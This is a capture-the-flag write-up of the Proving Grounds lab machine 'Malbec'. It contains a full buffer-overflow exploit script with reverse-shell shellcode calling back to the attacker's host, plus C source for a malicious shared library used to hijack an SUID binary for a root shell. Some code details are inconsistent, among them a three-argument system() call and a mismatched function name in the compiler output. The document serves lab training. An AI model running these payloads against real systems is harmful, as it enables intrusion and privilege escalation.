> For the complete documentation index, see [llms.txt](https://rouvin.gitbook.io/ibreakstuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rouvin.gitbook.io/ibreakstuff/writeups/proving-grounds-practice/linux/malbec.md).

# Malbec

## Gaining Access

Nmap scan:

```
$ nmap -p- --min-rate 4000 192.168.240.129
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 13:44 +08
Nmap scan report for 192.168.240.129
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
2121/tcp open  ccproxy-ftp
7138/tcp open  unknown
```

We can do a detailed scan on this machine in case.

```
$ sudo nmap -p 22,2121,7138 -sC -sV --min-rate 4000 192.168.240.129                
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 13:45 +08
Nmap scan report for 192.168.240.129
Host is up (0.17s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 74ba2023899262029fe73d3b83d4d96c (RSA)
|   256 548f79555ab03a695ad5723964fd074e (ECDSA)
|_  256 7f5d102762ba75e9bcc84fe27287d4e2 (ED25519)
2121/tcp open  ftp     pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx   1 carlos   carlos     108304 Jan 25  2021 malbec.exe [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to: 192.168.240.129:2121
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
7138/tcp open  unknown
```

Port 2121 is FTP it seems.

### FTP -> Buffer Overflow

FTP allowed for anonymous access and it only had one file:

```
$ ftp 192.168.240.129 -p 2121
Connected to 192.168.240.129.
220 pyftpdlib 1.5.6 ready.
Name (192.168.240.129:kali): anonymous
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||49067|).
125 Data connection already open. Transfer starting.
-rwxrwxrwx   1 carlos   carlos     108304 Jan 25  2021 malbec.exe
```

We can download this `.exe` file to a Windows machine for some reverse engineering.

![Old IP from Old Writeup](/files/5dMr6w9ivjMjpVx0Sq6d)

When we check the listening ports on our Windows machine, we would see that `malbec.exe` opens port 7138:

![](/files/SvC1uiE3lf1WN5vFDQJG)

This machine thus becomes a classic buffer overflow exploit as per OSCP. For this particular binary, there weren't any bad characters (other than the NULL byte) and it was just a matter of fuzzing the offset required.

I won't be going through how to do it since the OSCP BOF style is prett well-documented already, so here's the final script I used:

```python
#!/usr/bin/python2
import socket

ip = "192.168.240.129"
port = 7138
timeout = 5

pattern = ""
#badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

# final badchars are \x00
# msfvenom --payload linux/x86/shell_reverse_tcp LHOST=192.168.45.216 LPORT=21 --format c --bad-chars '\x00'
print ("\nSending evil buffer...")
size = 340
offset = "A"*size #filler
eip = "\x03\x15\x10\x41" #rtn
nop = "\x90" * 162
payload =("\xdb\xcf\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xbf\xc0\xf8"
"\xda\x09\x31\x7a\x17\x03\x7a\x17\x83\x2a\x04\x38\xfc\x9b"
"\x2e\x4a\x1c\x88\x93\xe6\x89\x2c\x9d\xe8\xfe\x56\x50\x6a"
"\x6d\xcf\xda\x54\x5f\x6f\x53\xd2\xa6\x07\xa4\x8c\x74\x0f"
"\x4c\xcf\x86\xaf\x98\x46\x67\x1f\xc4\x08\x39\x0c\xba\xaa"
"\x30\x53\x71\x2c\x10\xfb\xe4\x02\xe6\x93\x90\x73\x27\x01"
"\x08\x05\xd4\x97\x99\x9c\xfa\xa7\x15\x52\x7c")

#buffer = pattern  #for fuzzing offset
#buffer = offset + badchars #for fuzzing bad chars
buffer = offset + eip + nop + payload 


s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
s.send(bytes(buffer + "\r\n".encode("latin-1")))
s.close()
print ("\nDone!")
```

We can run this exploit and get a shell as the user:

```
$ python2 exploit_main.py

Sending evil buffer...

Done!
```

![](/files/fBae1F4i2Zy8Twa8TOhE)

## Privilege Escalation

### SUID Binary -> Malicious Library

I ran a `linpeas.sh` scan on the machine, and it found a few interesting things. Firstly, `root` is running `ldconfig` periodically:

![](/files/GBPSM8CWkpMwpOKvdiCb)

The next was this SUID binary that I didn't recognise:

```
-rwsr-xr-x 1 root root        17K Jan 26  2021 /usr/bin/messenger
```

The last was a misconfiguration of the `ld.so` files:

![](/files/gs2OJOJFSXtr5xK2symI)

This was interesting, because it appears that the user's home directory is the part of the configuration, meaning that `.so` files are executed from this directory. We can run `ldd` for the `messenger` binary to check where it loads its shared object files.

```
carlos@malbec:/tmp$ ldd /usr/bin/messenger 
        linux-vdso.so.1 (0x00007ffd865bc000)
        libmalbec.so => not found
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f64cb634000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f64cb80a000)
```

So it appears that `libmalbec.so` is not found, and it loads it from `/home/carlos`. This means that we can just create a malicious `libmalbec.so` file that gives us a shell, and since `messenger` is an SUID binary, the shell will be with `root` privileges.

Here's the source code I took from HackTricks:

```c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
// this function name is a result of testing, since it appears that the binary executes a malbec function
// you would get this error if not named properly:
// /usr/bin/messenger: symbol lookup error: /usr/bin/messenger: undefined symbol: malbec
void malbec(){ # the 
    setuid(0);
    setgid(0);
    printf("I'm the bad library\n");
    system("/bin/sh",NULL,NULL);
}
```

We just need to compile this and transfer it to the machine:

```
$ gcc -shared -o libmalbec.so -fPIC exploit.c                            
exploit.c: In function ‘say_hi’:
exploit.c:9:5: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
    9 |     system("/bin/sh",NULL,NULL);
      |  
```

Afterwards, we can wait for `root` to execute `ldconfig`, which would configure the `messenger` binary to use the `libmalbec.so` file we created. Once it does, it will show up in `ldd`:

```
carlos@malbec:/home/carlos$ ldd /usr/bin/messenger
        linux-vdso.so.1 (0x00007ffe3a3e4000)
        libmalbec.so => /home/carlos/libmalbec.so (0x00007f0975667000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f09754a6000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f0975681000)
```

Then, we can just execute `messenger` to get a `root` shell:

![](/files/FbL2HK3c0ZLazrf53XVn)